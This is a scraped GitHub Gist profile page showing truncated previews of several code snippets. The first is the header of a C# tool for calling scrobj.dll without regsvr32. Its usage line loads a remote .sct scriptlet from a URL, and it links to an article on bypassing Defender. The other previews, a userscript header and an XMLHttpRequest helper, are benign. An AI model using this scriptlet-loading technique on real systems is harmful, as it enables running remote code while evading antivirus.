Skip to content

Instantly share code, notes, and snippets.

View 0xlane's full-sized avatar
🐢
Focusing

0xlane

🐢
Focusing
  • self-entertainment
  • Beijing
  • 21:13 (UTC -12:00)
View GitHub Profile
@0xlane
0xlane / scrobj-call-csharp.cs
Created October 12, 2020 14:59
Call scrobj.dll in .net env without regsvr32
/*
* Author: REInject
* Usage: scrobj-call-csharp.exe http://127.0.0.1/test.sct
* Link: https://scriptboy.cn/p/using-scrobj-without-regsvr32-bypass-defender/
*/
using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
// ==UserScript==
// @name QT-显示隐藏的前端模块
// @name:zh QT-显示隐藏的前端模块
// @name:zh-CN QT-显示隐藏的前端模块
// @name:en QT-ShowHiddendFrontendModule
// @namespace http:///
// @version 0.3
// @license GPL-3.0-only
// @create 2020-03-18
// @description This is a simple thing!
<script>
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);